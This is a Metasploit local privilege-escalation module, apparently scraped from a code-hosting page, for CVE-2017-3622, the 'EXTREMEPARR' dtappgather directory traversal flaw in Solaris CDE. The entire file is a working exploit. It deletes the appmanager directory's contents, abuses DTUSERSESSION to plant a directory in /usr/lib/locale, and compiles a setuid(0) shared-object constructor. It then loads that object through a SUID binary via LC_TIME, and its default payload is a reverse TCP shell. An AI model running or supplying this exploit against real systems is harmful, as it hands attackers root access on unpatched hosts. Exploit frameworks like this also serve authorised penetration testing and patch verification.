239 lines
7.7 KiB
Ruby
239 lines
7.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Solaris::Priv
|
|
include Msf::Post::Solaris::System
|
|
include Msf::Post::Solaris::Kernel
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability in the
|
|
`dtappgather` executable included with Common Desktop Environment (CDE)
|
|
on unpatched Solaris systems prior to Solaris 10u11 which allows users
|
|
to gain root privileges.
|
|
|
|
dtappgather allows users to create a user-owned directory at any
|
|
location on the filesystem using the `DTUSERSESSION` environment
|
|
variable.
|
|
|
|
This module creates a directory in `/usr/lib/locale`, writes a shared
|
|
object to the directory, and runs the specified SUID binary with the
|
|
shared object loaded using the `LC_TIME` environment variable.
|
|
|
|
This module has been tested successfully on:
|
|
|
|
Solaris 9u7 (09/04) (x86);
|
|
Solaris 10u1 (01/06) (x86);
|
|
Solaris 10u2 (06/06) (x86);
|
|
Solaris 10u4 (08/07) (x86);
|
|
Solaris 10u8 (10/09) (x86);
|
|
Solaris 10u9 (09/10) (x86).
|
|
},
|
|
'References' =>
|
|
[
|
|
['BID', '97774'],
|
|
['CVE', '2017-3622'],
|
|
['EDB', '41871'],
|
|
['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
|
|
['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
|
|
],
|
|
'Notes' => { 'AKA' => ['EXTREMEPARR'] },
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Shadow Brokers', # exploit
|
|
'Hacker Fantastic', # dtappgather-poc.sh
|
|
'bcoles' # Metasploit
|
|
],
|
|
'DisclosureDate' => 'Apr 24 2017',
|
|
'Privileged' => true,
|
|
'Platform' => ['solaris', 'unix'],
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
|
|
'Targets' => [['Auto', {}]],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DefaultOptions' =>
|
|
{
|
|
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
|
|
'WfsDelay' => 10,
|
|
'PrependFork' => true
|
|
},
|
|
'DefaultTarget' => 0))
|
|
register_options [
|
|
# Some useful example SUID executables:
|
|
# * /usr/bin/at
|
|
# * /usr/bin/cancel
|
|
# * /usr/bin/chkey
|
|
# * /usr/bin/lp
|
|
# * /usr/bin/lpset
|
|
# * /usr/bin/lpstat
|
|
# * /usr/lib/lp/bin/netpr
|
|
# * /usr/sbin/lpmove
|
|
OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
|
|
OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
|
|
]
|
|
register_advanced_options [
|
|
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
]
|
|
end
|
|
|
|
def suid_bin_path
|
|
datastore['SUID_PATH']
|
|
end
|
|
|
|
def dtappgather_path
|
|
datastore['DTAPPGATHER_PATH']
|
|
end
|
|
|
|
def mkdir(path)
|
|
vprint_status "Creating directory '#{path}'"
|
|
cmd_exec "mkdir -p '#{path}'"
|
|
register_dir_for_cleanup path
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
|
rm_f path
|
|
write_file path, data
|
|
register_file_for_cleanup path
|
|
end
|
|
|
|
def upload_and_compile(path, data)
|
|
upload "#{path}.c", data
|
|
|
|
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
|
|
unless output.blank?
|
|
print_error output
|
|
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
|
end
|
|
|
|
register_file_for_cleanup path
|
|
end
|
|
|
|
def symlink(link_target, link_name)
|
|
vprint_status "Symlinking #{link_target} to #{link_name}"
|
|
rm_f link_name
|
|
cmd_exec "ln -sf #{link_target} #{link_name}"
|
|
register_file_for_cleanup link_name
|
|
end
|
|
|
|
def check
|
|
[dtappgather_path, suid_bin_path].each do |path|
|
|
unless setuid? path
|
|
vprint_error "#{path} is not setuid"
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good "#{path} is setuid"
|
|
end
|
|
|
|
unless has_gcc?
|
|
vprint_error 'gcc is not installed'
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good 'gcc is installed'
|
|
|
|
version = kernel_release
|
|
if version.to_s.eql? ''
|
|
vprint_error 'Could not determine Solaris version'
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10')
|
|
vprint_error "Solaris version #{version} is not vulnerable"
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good "Solaris version #{version} appears to be vulnerable"
|
|
|
|
CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
if is_root?
|
|
fail_with Failure::BadConfig, 'Session already has root privileges'
|
|
end
|
|
|
|
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
|
unless datastore['ForceExploit']
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
|
end
|
|
print_warning 'Target does not appear to be vulnerable'
|
|
end
|
|
|
|
unless writable? datastore['WritableDir']
|
|
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
|
end
|
|
|
|
# Remove appmanager directory and contents
|
|
appmanager_path = '/var/dt/appconfig/appmanager'
|
|
vprint_status "Cleaning appmanager directory #{appmanager_path}"
|
|
cmd_exec "chmod -R 755 #{appmanager_path}/*"
|
|
cmd_exec "rm -rf #{appmanager_path}/*"
|
|
rm_f appmanager_path
|
|
|
|
# Create writable directory in /usr/lib/locale
|
|
locale_path = '/usr/lib/locale'
|
|
locale_name = rand_text_alphanumeric 5..10
|
|
new_dir = "#{locale_path}/#{locale_name}"
|
|
vprint_status "Creating directory #{new_dir}"
|
|
depth = 3
|
|
cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"
|
|
depth.times do
|
|
cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
|
|
end
|
|
symlink locale_path, appmanager_path
|
|
cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
|
|
unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
|
|
fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
|
|
end
|
|
|
|
print_good "Created directory #{new_dir}"
|
|
register_dir_for_cleanup new_dir
|
|
|
|
rm_f appmanager_path
|
|
cmd_exec "chmod 755 #{new_dir}"
|
|
|
|
# Upload and compile shared object
|
|
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
|
mkdir base_path
|
|
|
|
payload_name = ".#{rand_text_alphanumeric 5..10}"
|
|
payload_path = "#{base_path}/#{payload_name}"
|
|
|
|
so = <<-EOF
|
|
void __attribute__((constructor)) cons() {
|
|
setuid(0);
|
|
setgid(0);
|
|
execle("#{payload_path}", "", 0, 0);
|
|
_exit(0);
|
|
}
|
|
EOF
|
|
|
|
so_name = ".#{rand_text_alphanumeric 5..10}"
|
|
so_path = "#{base_path}/#{so_name}"
|
|
upload_and_compile so_path, so
|
|
|
|
vprint_status "Writing shared objects to #{new_dir}"
|
|
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
|
|
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
|
|
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
|
|
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"
|
|
|
|
# Upload and execute payload
|
|
upload payload_path, generate_payload_exe
|
|
cmd_exec "chmod +x #{payload_path}"
|
|
|
|
print_status 'Executing payload...'
|
|
cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
|
|
end
|
|
end
|